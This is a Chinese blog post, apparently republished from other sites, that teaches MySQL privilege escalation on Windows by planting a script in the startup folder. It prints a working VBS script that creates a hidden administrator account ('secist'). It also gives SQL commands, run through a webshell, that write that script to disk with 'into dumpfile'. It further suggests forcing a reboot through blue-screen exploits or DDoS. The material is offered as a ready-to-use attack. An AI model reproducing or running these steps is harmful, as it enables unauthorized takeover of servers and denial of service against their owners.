MySQL提权之启动项提权

Posted My_Dreams

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL提权之启动项提权相关的知识,希望对你有一定的参考价值。

关于mysql的启动项提权,听其名知其意。就是将一段 VBS脚本导入到  C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!

这里有两种思路:

1. 如果  C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动 目录存在可读写的权限,那么我们可以直接将 VBS 提权脚本上传到该目录下!

VBS 提权脚本代码如下:

1 setwsnetwork=CreateObject("WSCRIPT.NETWORK")
2 os="WinNT://"&wsnetwork.ComputerName
3 Set ob=GetObject(os)
4 Setoe=GetObject(os&"/Administrators,group")
5 Set od=ob.Create("user","secist")
6 od.SetPassword "secist.com"
7 od.SetInfo
8 Set of=GetObject(os&"/secist",user)
9 oe.add os&"/secist"

 

将以上代码保存为 .vbs 后缀的文件上传即可!

2. 通过大马的MySQL执行功能,利用SQL命令来进行VBS脚本的创建及添加。

create table secist(cmd text);

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

select * from secist into dumpfile “C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\secist.vbs”;

 

 写入文件报错 修改配置文件也无法写入

 

 只能修改写入文件的路径

 

 

 

 再将生成的文件移动到自启动目录

 

 

成功执行以上命令后,只要管理员重启了服务器,我们就可以成功提权了!

温馨提示:

1.关于重启目标服务器,我们可以利用一些可导致服务器蓝屏的EXP,或者DDoS拒绝服务!

2.上传的目录必须具备可读写的权限!

3.调用的 cmd 也必须有足够的权限!

 

参考:https://blog.csdn.net/qq_37077262/article/details/102964050

      https://www.cnblogs.com/wh4am1/p/6613759.html

以上是关于MySQL提权之启动项提权的主要内容,如果未能解决你的问题,请参考以下文章

MySQL提权之udf提权

MySQL提权之udf提权

MySQL提权之udf提权(无webshell的情况)

MySQL提权之udf提权(无webshell的情况)

mysql提权常用方法

windows提权之ftp提权